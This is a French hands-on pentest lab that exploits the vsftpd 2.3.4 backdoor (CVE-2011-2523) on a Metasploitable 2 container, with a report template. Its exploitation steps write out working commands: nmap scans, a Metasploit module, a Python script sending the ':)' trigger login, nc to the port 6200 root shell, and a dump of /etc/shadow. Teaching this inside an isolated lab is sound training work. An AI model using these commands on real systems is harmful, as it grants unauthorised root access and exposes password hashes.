Introduction et Kali — Atelier pratique

Vous avez lu la démonstration. Vous allez maintenant la refaire seul(e). Objectif : sortir un shell root sur la victime, capturer trois preuves, remplir la checklist. Compter 45 à 75 minutes la première fois — le temps de tirer les images Docker et de comprendre les commandes.

Pourquoi Docker et pas VirtualBox

La première version de cet atelier utilisait deux machines virtuelles VirtualBox. Elle marchait, mais elle demandait 4 Go de téléchargement, un hyperviseur installé, un BIOS avec la virtualisation activée, et une VM Windows dont la licence n'est pas toujours simple à obtenir. La moitié des inscrits abandonnait avant la première commande.

Avec Docker Desktop, un docker compose up remplace tout ça. Vous démarrez le lab en 30 secondes, vous l'arrêtez en une seconde. La leçon pédagogique est strictement la même — découvrir un service vulnérable, l'exploiter, obtenir un shell privilégié, remonter les preuves. On a juste changé la faille exploitée : on passe de MS17-010 (Windows, non reproductible en conteneur) à la backdoor de vsftpd 2.3.4 (Linux, exploitable dans un conteneur).

Le seul cadre légal

Tout, dans cet atelier, se passe entre deux conteneurs sur votre poste, sur un réseau Docker privé (10.20.30.0/24). Aucune commande de cette leçon ne doit sortir de votre PC. Si vous êtes chez vous derrière une box, le trafic ne doit pas remonter jusqu'à elle. Le compose fourni s'en occupe pour vous : il utilise un réseau bridge interne dédié. Ne modifiez pas ces paramètres. Ne pointez jamais les commandes du scan vers autre chose que 10.20.30.12.

---

Ce que vous devez livrer

À la fin de l'atelier, vous aurez, dans un dossier ~/labs/preuves/ à l'intérieur du conteneur attaquant (persisté sur votre hôte via un volume Docker) :

1. scan-hote.txt — sortie de la découverte réseau.
2. scan-ports.txt — sortie complète du scan Nmap tous ports.
3. scan-versions.txt — sortie du scan de versions, avec vsftpd 2.3.4 identifié.
4. banniere-root.txt — sortie de whoami; hostname; id; uname -a exécutée sur la cible depuis votre shell obtenu.
5. shadow.txt — le contenu du fichier /etc/shadow de la cible, illisible pour un utilisateur normal.
6. mini-rapport.md — trois paragraphes en Markdown : situation, exploitation, impact.

Ces six fichiers sont votre livrable. Ils sont aussi ce que vous auriez remis à un client, en miniature. On garde l'habitude dès la semaine 1.

Définition — la proof of pwn, ou ce que le client attend vraiment

Un rapport de pentest se lit à trois niveaux. Le résumé exécutif s'adresse à la direction et donne un verdict en une page — cinq incidents critiques, treize moyens, exposition principale, priorités. La partie technique liste chaque trouvaille avec sa reproduction pas à pas, à destination des équipes qui vont corriger. Entre les deux, la ligne qui décide de la confiance qu'on accorde au rapport, ce sont les preuves — les fichiers de sortie que vous joignez.

Une preuve utile a trois qualités. Elle est datée — la capture d'écran porte l'horloge de la cible, ou le nom du fichier commence par la date. Elle est contextuelle — on voit à côté de la faille exploitée ce qu'on obtient en la déclenchant, pas juste un message d'erreur en l'air. Et elle est reproductible — la commande exacte est notée à côté, dans un ordre qui permet à l'ingénieur système du client de rejouer le pas pour vérifier son correctif.

L'expression proof of pwn — littéralement « preuve de possession », le mot pwn étant né d'une coquille pour own — désigne dans le jargon la capture qui atteste sans ambiguïté que la machine est à vous. Sur un Windows exploité, le classique est la fenêtre whoami qui affiche SYSTEM. Sur un Linux, l'équivalent est whoami qui affiche root, complété par le contenu de /etc/shadow — un fichier que seul root peut lire. Sans elle, votre rapport dit « j'ai réussi » ; avec elle, votre rapport prouve « j'ai réussi ».

---

Prérequis matériels

Ressource	Minimum
Docker Desktop	4.30 ou supérieur, WSL2 activé sur Windows
RAM disponible	6 Go (2 pour l'attaquant, 1 pour la cible, 3 pour l'hôte)
Disque libre	15 Go (images Docker comprises)
Virtualisation VT-x/AMD-V	Activée dans le BIOS/UEFI
Système hôte	Windows 10/11, macOS 12+, Linux

Vérifiez votre installation :

docker --version              # doit afficher Docker version 24 ou plus récent
docker compose version        # doit afficher Docker Compose version v2.x
docker info | grep -i "operating"

Si docker info râle, c'est que Docker Desktop n'est pas démarré. Ouvrez-le, attendez l'icône verte, réessayez.

Définition — Docker Desktop, WSL2, et pourquoi tout ça marche sous Windows

Docker est né sous Linux, où il tire parti de fonctionnalités du noyau (namespaces et cgroups) qui n'existent pas sous Windows. Pour faire tourner Docker sur un poste Windows, il faut donc héberger un noyau Linux quelque part.

Deux solutions historiques ont existé : Hyper-V (une machine virtuelle Linux gérée par Windows) et Docker Toolbox (une VM VirtualBox). Depuis 2020, Microsoft a rendu la troisième solution accessible à tout le monde : WSL2 (Windows Subsystem for Linux, version 2), un noyau Linux léger intégré au système, capable de démarrer en une seconde et d'échanger fichiers et réseau avec Windows sans friction.

Docker Desktop pour Windows utilise WSL2 comme moteur : quand vous tapez docker run, Docker Desktop crée un conteneur à l'intérieur du noyau Linux de WSL2, pas à l'intérieur de Windows. C'est pour cela qu'un conteneur Kali, qui est un Linux, marche sans magie sur un poste Windows : il tourne dans un vrai noyau Linux hébergé par votre système, invisible pour vous.

Conséquence pratique : si vous montez un volume avec -v ./mon-dossier:/data, Docker Desktop se charge de traduire entre le système de fichiers Windows (NTFS) et Linux (ext4). Les commandes de la leçon fonctionnent exactement comme si vous étiez sous Linux natif.

---

Étape 1 — Démarrer le lab (5 min)

1a. Se placer dans le dossier du lab

Le dépôt du cours contient un dossier labs/docker/ avec un docker-compose.yml par module. Ouvrez un terminal à la racine du dépôt puis :

cd labs/docker/module-01-introduction

Un ls doit vous montrer trois fichiers : docker-compose.yml, README.fr.md, README.en.md.

Si vous préférez travailler sur une copie autonome des labs (sans cloner tout le site), le sous-dossier labs/docker/ peut être extrait tel quel — les composes n'ont aucune dépendance vers le reste du dépôt.

1b. Lancer les conteneurs

Une seule commande :

docker compose up -d

Ce qui se passe pendant les 2 à 5 minutes suivantes :

1. Docker télécharge tleemcjr/metasploitable2 (≈ 1.7 Go la première fois).
2. Docker construit ou télécharge inskillsec/kali-lab (≈ 2.5 Go la première fois).
3. Docker crée un réseau bridge privé nommé m01-lab-net (sous-réseau 10.20.30.0/24).
4. Docker démarre les deux conteneurs, leur attribue une IP fixe : 10.20.30.5 pour l'attaquant, 10.20.30.12 pour la cible.

À la fin, vous voyez :

[+] Running 3/3
 ✔ Network m01-lab-net  Created
 ✔ Container m01-cible      Started
 ✔ Container m01-attaquant  Started

Définition — les modes réseau Docker, et pourquoi bridge est le bon choix ici

Docker propose plusieurs modes réseau, dont il faut connaître les conséquences pour un lab d'attaque.

host place le conteneur directement sur l'interface réseau de votre hôte : il partage l'IP de votre poste, ses ports sont vos ports. À proscrire pour un lab d'attaque — votre nmap -p- scannerait votre propre machine et le réseau auquel elle est connectée.

none laisse le conteneur sans réseau du tout. Utile pour du traitement de fichiers isolé, inutilisable pour un lab où deux conteneurs doivent se parler.

bridge — le mode par défaut — crée un réseau virtuel privé auquel Docker connecte les conteneurs. Le compose de ce module va plus loin : il crée un réseau bridge nommé (m01-lab-net) avec un sous-réseau fixe (10.20.30.0/24) et des IPs fixes. Deux avantages : les conteneurs se voient entre eux, les commandes de la leçon sont copiables-collables sans variable à ajuster.

C'est l'équivalent Docker du host-only de VirtualBox : un réseau strictement local, isolé du reste, prévisible. Vérifiez toujours l'isolement : docker compose exec attaquant ping -c 1 8.8.8.8 peut fonctionner (car votre hôte a une route par défaut), mais aucune commande du lab ne doit avoir pour destination une IP externe. Toutes les commandes de scan et d'exploitation ciblent uniquement 10.20.30.12.

1c. Vérifier que tout est sain

Depuis le dossier labs/docker/ (un cran au-dessus) :

./verifier-lab.sh module-01-introduction        # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-01-introduction       # PowerShell

Le script doit afficher deux ✅ pour l'attaquant et la cible. S'il y a un ⚠️, laissez encore 30 secondes à la cible pour terminer son démarrage puis relancez la vérification.

Autre vérification manuelle rapide :

docker compose ps

Les deux services doivent afficher Up et healthy (pour la cible).

1d. Entrer dans l'attaquant

C'est votre poste Kali pendant toute la durée de l'atelier :

docker compose exec attaquant bash

Le prompt change :

┌──(pentester㉿kali)-[~/labs]
└─$

Vous êtes dedans. Toutes les commandes qui suivent se tapent dans ce prompt, pas dans PowerShell ou bash de votre hôte.

---

Étape 2 — Créer le dossier de preuves

Depuis l'intérieur du conteneur attaquant :

mkdir -p ~/labs/preuves
cd ~/labs

Le dossier ~/labs/ dans le conteneur est monté sur ./attaquant-home/ de votre hôte grâce au volume déclaré dans le compose. Les fichiers créés ici apparaissent en temps réel dans le dossier attaquant-home/ de votre système hôte — vous pouvez les ouvrir avec l'éditeur de code de votre choix.

Toutes les commandes qui suivent doivent produire un fichier dans preuves/. Un pentester sans fichier de sortie, c'est un pêcheur sans photo.

---

Étape 3 — Découverte (5 min)

Trouvez la victime sans lire le compose. Un attaquant réel ne connaît pas l'IP de sa cible : il la découvre.

nmap -sn 10.20.30.0/24 -oN preuves/scan-hote.txt

-sn demande à Nmap de ne faire qu'un ping scan : il ne teste aucun port, il cherche juste qui répond. Sur un réseau bridge Docker, l'ARP fonctionne parfaitement — chaque conteneur actif répond à sa MAC.

Vous devriez voir deux réponses : 10.20.30.5 (vous-même) et 10.20.30.12 (la cible). Notez l'IP :

export VICTIME=10.20.30.12
echo "Cible identifiée : $VICTIME"

Définition — pourquoi on ne fait pas confiance à docker-compose.yml pour trouver l'IP

Sur ce lab, l'IP est écrite en toutes lettres dans le compose : vous pourriez la lire au lieu de la découvrir. Mais ce n'est jamais le cas dans une vraie mission. Le client vous donne au mieux un CIDR (« notre segment interne est en 10.42.0.0/16 »), au pire rien du tout (« trouvez ce qui traîne »).

Prendre l'habitude d'utiliser nmap -sn — ou son cousin plus loud arp-scan -l — dès le premier atelier, c'est se forger un réflexe qui vous suivra partout : la reconnaissance commence par la découverte du réseau, pas par la lecture des documents fournis. C'est aussi la raison pour laquelle les scans du module 04 réutilisent le même outil, sur des sous-réseaux plus grands. On construit une chaîne d'habitudes, pas une collection d'astuces.

---

Étape 4 — Scan (10 min)

Ports :

nmap -sS -Pn -p- --min-rate 2000 $VICTIME -oN preuves/scan-ports.txt

-p- demande tous les 65 535 ports. Sur Metasploitable 2 en Docker, ce scan prend 15 à 30 secondes. Vous devriez voir une longue liste — ftp, ssh, telnet, smtp, http, netbios, microsoft-ds, mysql, postgresql, tomcat…

Versions (adaptez la liste de ports à ce que le premier scan a trouvé) :

nmap -sV -p 21,22,23,25,80,139,445,3306,5432,8180 $VICTIME -oN preuves/scan-versions.txt

Regardez la ligne du port 21 :

21/tcp   open  ftp     vsftpd 2.3.4

Cette ligne fait tout le module. vsftpd 2.3.4 est un serveur FTP historiquement compromis en juillet 2011. Nmap vous le dit, il ne reste plus qu'à en tirer parti.

grep -E "vsftpd|smb|mysql" preuves/scan-versions.txt

Si vous ne voyez pas vsftpd 2.3.4 dans la sortie : soit la cible n'a pas fini de démarrer (attendez 30 secondes et relancez), soit un conteneur différent tourne (relisez docker compose ps).

Définition — vsftpd 2.3.4, l'histoire d'une porte dérobée dans un projet open source

vsftpd (Very Secure FTP Daemon) est un serveur FTP écrit par Chris Evans, ingénieur sécurité chez Google, et longtemps considéré comme la référence du FTP sur Linux. Il est utilisé par Red Hat, Debian, Ubuntu, plusieurs hébergeurs. Sa réputation vient de son code minimaliste et de son audit constant.

En juillet 2011, un attaquant obtient un accès temporaire au site officiel vsftpd.beasts.org et remplace l'archive téléchargeable de la version 2.3.4 par une version modifiée. Le code source ajoute une porte dérobée : si un utilisateur envoie un nom de connexion se terminant par les deux caractères :) (un smiley), le serveur ouvre un shell root sur le port 6200/TCP. Aucun mot de passe. Aucune trace dans les logs.

Chris Evans découvre l'altération quatre jours plus tard, retire l'archive, publie un avis. Mais entre l'upload malveillant et la découverte, des dizaines de milliers d'installations dans le monde ont tiré la version piégée. Certaines tournaient encore des années plus tard.

L'incident est devenu un cas d'école pour trois raisons. D'abord parce qu'il montre qu'un projet irréprochable dans son processus de développement peut être compromis en aval, sur la chaîne de distribution. Ensuite parce que la porte dérobée était triviale à déclencher — pas besoin d'un exploit sophistiqué, juste un smiley dans un login. Enfin parce qu'il a lancé une réflexion sérieuse sur la nécessité de signer les archives publiées et de vérifier ces signatures avant l'installation.

C'est cette porte dérobée que vous allez déclencher dans deux minutes. Ce n'est pas une histoire, c'est la CVE-2011-2523.

---

Étape 5 — Exploitation (15 min)

Deux méthodes. Faites les deux : la seconde est courte, et voir la porte dérobée à l'œuvre à la main vaut le détour.

5a. Méthode Metasploit (la propre)

Initialisez la base Metasploit une première fois :

setup-lab msf-init

Puis lancez la console :

msfconsole -q

Dans la console :

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.20.30.12
run

Attendez la ligne Command shell session 1 opened. Une fois dedans, vous êtes root sur la cible. Faites :

shell
whoami
hostname
id
uname -a
exit
sessions -k 1
exit

5b. Méthode manuelle (la belle)

Toujours dans le conteneur attaquant :

# 1. Se connecter au FTP et déclencher la backdoor
python3 << 'EOF'
import socket
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
print(ftp.recv(1024).decode(), end="")
ftp.sendall(b"USER hacker:)\r\n")
print(ftp.recv(1024).decode(), end="")
ftp.sendall(b"PASS anything\r\n")
print("(le serveur ne va pas répondre — c'est normal, il ouvre le port 6200)")
ftp.close()
EOF

# 2. Se connecter au shell root sur le port 6200
nc 10.20.30.12 6200

Vous êtes dans un shell qui ne montre aucun prompt. Tapez whoami puis Entrée : la cible répond root. Tapez hostname : metasploitable. Vous êtes root sur la cible sans avoir fourni le moindre mot de passe, en trois lignes de Python.

Une fois dans le shell, capturez vos preuves — sans quitter le shell.

5c. Capturer les preuves

Dans le shell root sur la cible :

whoami > /tmp/preuve.txt
hostname >> /tmp/preuve.txt
id >> /tmp/preuve.txt
uname -a >> /tmp/preuve.txt
date >> /tmp/preuve.txt
cat /tmp/preuve.txt

Puis récupérez /etc/shadow :

cat /etc/shadow > /tmp/shadow.txt

Quittez le shell root sur la cible :

exit

De retour dans le shell Kali, aspirez les fichiers depuis la cible via FTP anonyme (le port 21 accepte les connexions anonymes) ou plus directement via un simple nc :

# Version simple : on relance le trigger et on tire les fichiers avec la même session shell
python3 << 'EOF'
import socket, time
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
ftp.recv(1024)
ftp.sendall(b"USER lecture:)\r\n")
ftp.recv(1024)
ftp.sendall(b"PASS x\r\n")
time.sleep(1)
ftp.close()
EOF

(echo "cat /tmp/preuve.txt"; sleep 1; echo "exit") | nc 10.20.30.12 6200 > preuves/banniere-root.txt

python3 << 'EOF'
import socket, time
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
ftp.recv(1024)
ftp.sendall(b"USER dump:)\r\n")
ftp.recv(1024)
ftp.sendall(b"PASS x\r\n")
time.sleep(1)
ftp.close()
EOF

(echo "cat /etc/shadow"; sleep 1; echo "exit") | nc 10.20.30.12 6200 > preuves/shadow.txt

Vérifiez :

cat preuves/banniere-root.txt      # doit contenir "root", "metasploitable", "uid=0"
cat preuves/shadow.txt             # doit contenir "root:$1$..." et "msfadmin:$1$..."

Définition — pourquoi /etc/shadow est la meilleure preuve d'un root réel

Sur un système Unix, les mots de passe ne sont pas stockés en clair. Ils sont hachés puis rangés dans deux fichiers : /etc/passwd, qui liste les comptes utilisateurs et leur home, lisible par tout le monde, et /etc/shadow, qui contient les empreintes de mot de passe, lisible uniquement par root.

Cette séparation date des années 1980. Auparavant, le hash tenait dans /etc/passwd, ce qui permettait à n'importe quel utilisateur du système de le récupérer et de tenter du bruteforce hors ligne. Le glissement vers /etc/shadow a fait de la lecture du fichier une preuve de privilège — si vous pouvez le lire, vous êtes root, ou vous avez trouvé une élévation de privilèges.

Dans un rapport de pentest, joindre les premières lignes de /etc/shadow fait deux choses. D'abord, ça atteste sans ambiguïté du niveau de privilège atteint. Ensuite, ça donne au client la matière pour un audit : il peut vérifier la robustesse des mots de passe de ses comptes, détecter ceux qui utilisent des algorithmes obsolètes ($1$ pour MD5, $5$ pour SHA-256, $6$ pour SHA-512, $y$ pour yescrypt), et forcer une rotation.

Attention : dans un vrai rapport, jamais vous ne partagez ce fichier en clair par mail. Vous le chiffrez, vous l'envoyez par un canal établi, vous détruisez votre copie à la fin de la mission. Ce genre de fichier est une bombe : entre vos mains il prouve votre travail, dans les mains d'un tiers il compromet toute une entreprise.

---

Étape 6 — Le mini-rapport (20 min)

Sur votre hôte (pas dans le conteneur — c'est plus confortable), ouvrez labs/docker/module-01-introduction/attaquant-home/preuves/mini-rapport.md avec votre éditeur préféré, et remplissez ces sections. Ne dépassez pas une page.

# Mini-rapport — Semaine 1

## Situation
Deux conteneurs Docker sur un réseau bridge isolé (10.20.30.0/24).
- Attaquant : Kali Linux (inskillsec/kali-lab) — 10.20.30.5
- Cible : Metasploitable 2 (tleemcjr/metasploitable2) — 10.20.30.12

## Exploitation
Le service FTP (port 21) tourne en vsftpd 2.3.4, une version connue pour
contenir une porte dérobée depuis juillet 2011 (CVE-2011-2523). Un nom
d'utilisateur se terminant par les deux caractères `:)` déclenche l'ouverture
d'un shell root sans authentification sur le port 6200/TCP.

Le module `exploit/unix/ftp/vsftpd_234_backdoor` de Metasploit automatise le
déclenchement et la connexion. La même exploitation est reproductible en trois
lignes de Python et un `nc`.

Preuves jointes :
- `scan-versions.txt` — Nmap identifie explicitement vsftpd 2.3.4.
- `banniere-root.txt` — sortie de `whoami; hostname; id; uname -a` exécutée
  sur la cible, atteste du compte root.
- `shadow.txt` — contenu du fichier /etc/shadow de la cible, lisible
  uniquement par root.

## Impact
Compromission totale du système (uid=0). Extraction des empreintes de mots
de passe locaux, exploitables hors ligne. Sur un environnement de production,
cette compromission autoriserait la lecture de toute donnée hébergée, la
modification silencieuse des services, et l'installation d'une persistance.

## Recommandations
1. Retirer vsftpd 2.3.4 partout. Aucune version 2.3.x n'est plus supportée ;
   passer à 3.0.5 (dernière branche stable) ou à un autre serveur FTP moderne.
2. Vérifier les hashs SHA-256 des archives téléchargées avant installation.
   L'archive piégée de 2011 avait un hash différent de l'archive légitime,
   la vérification aurait alerté immédiatement.
3. Interdire l'installation de logiciels depuis des dépôts non signés.
   Chaque distribution Linux moderne propose une signature GPG des paquets.
4. Placer le trafic FTP derrière un VPN ou le remplacer par SFTP. Le
   protocole FTP en clair est de toute façon inadapté à un environnement
   moderne.

Ce format — Situation, Exploitation, Impact, Recommandations — est celui qu'on affinera dans le module 12. Prenez le pli maintenant.

---

Étape 7 — Nettoyer

Toujours dans le shell hôte, depuis labs/docker/module-01-introduction/ :

docker compose down -v

• down arrête et supprime les deux conteneurs.
• -v supprime aussi les volumes anonymes. Vos preuves dans attaquant-home/ restent sur votre disque : ce dossier est un montage explicite, pas un volume anonyme.

Vérifiez :

docker ps                    # doit être vide (ou ne pas contenir m01-*)
docker network ls | grep m01 # doit être vide

Le lab est démonté. Une prochaine fois, docker compose up -d le remonte en 30 secondes puisque toutes les images sont déjà en cache.

---

Checklist de fin d'atelier

• Docker Desktop démarré, docker info répond.
• docker compose up -d a lancé les deux conteneurs, docker compose ps affiche Up et healthy.
• verifier-lab.sh (ou .ps1) affiche deux ✅.
• Dossier ~/labs/preuves/ dans le conteneur contient les six fichiers listés en tête de page.
• Le port 6200 sur la cible a bien répondu à un nc après trigger de la backdoor.
• banniere-root.txt contient root et uid=0.
• shadow.txt contient plusieurs lignes commençant par un compte et un hash $....
• mini-rapport.md écrit, une page, quatre sections.
• docker compose down -v a nettoyé les conteneurs.

Tous cochés ? Vous venez d'exécuter, seul(e), une chaîne d'attaque complète : découverte → scan → identification de version → exploitation → proof of pwn → rapport. C'est le squelette de toutes les missions du reste de votre carrière.

---

Ce qui bloque, et comment débloquer

Symptôme	Cause probable	Ce que vous faites
docker compose up : Cannot connect to Docker daemon	Docker Desktop pas démarré	Lancer Docker Desktop, attendre l'icône verte.
Téléchargement de metasploitable2 très long	Image de 1.7 Go, connexion lente	Patienter. Une fois en cache, les prochains démarrages sont instantanés.
nmap : la cible ne répond pas	La cible n'a pas fini son services.sh	Attendre 30 s de plus, docker compose logs cible doit afficher services running.
Port 21 ouvert mais pas de vsftpd 2.3.4	Un autre conteneur tourne à sa place	docker compose down -v, puis docker compose up -d propre.
Trigger :) sans effet	Vous êtes connecté à un autre FTP	Vérifier nc -zv 10.20.30.12 21, vérifier le nom exact du user (hacker:)).
nc 10.20.30.12 6200 refuse la connexion	La backdoor n'a pas ouvert le port	Refaire le trigger avec un login différent — un login déjà utilisé peut ne pas re-déclencher.
Le shell root ne répond pas	Le shell est là mais n'a pas de prompt	Taper whoami puis Entrée. La réponse root confirme la session.
Impossible de lire /etc/shadow malgré root	Cache anti-conteneur	docker compose restart cible, retenter le trigger.
Ctrl+C bloque msfconsole	Nettoyage en cours	Attendre 10 secondes.

---

Ce que vous emportez de cet atelier

• Un réflexe de laboratoire : deux conteneurs, un réseau fermé, un dossier de preuves versionné dans un volume.
• Une chaîne d'outils qu'on va rejouer 12 fois : nmap -sn → nmap -sS → nmap -sV → msfconsole (ou nc + python).
• Le format du mini-rapport : Situation / Exploitation / Impact / Recommandations.
• La sensation, physique, de ce que veut dire compromettre une machine — sans télécharger 4 Go de VM, sans licence Windows, sans BIOS à reconfigurer. C'est ce qui vous fera continuer.

Prêt(e) ? Passons au quiz du module.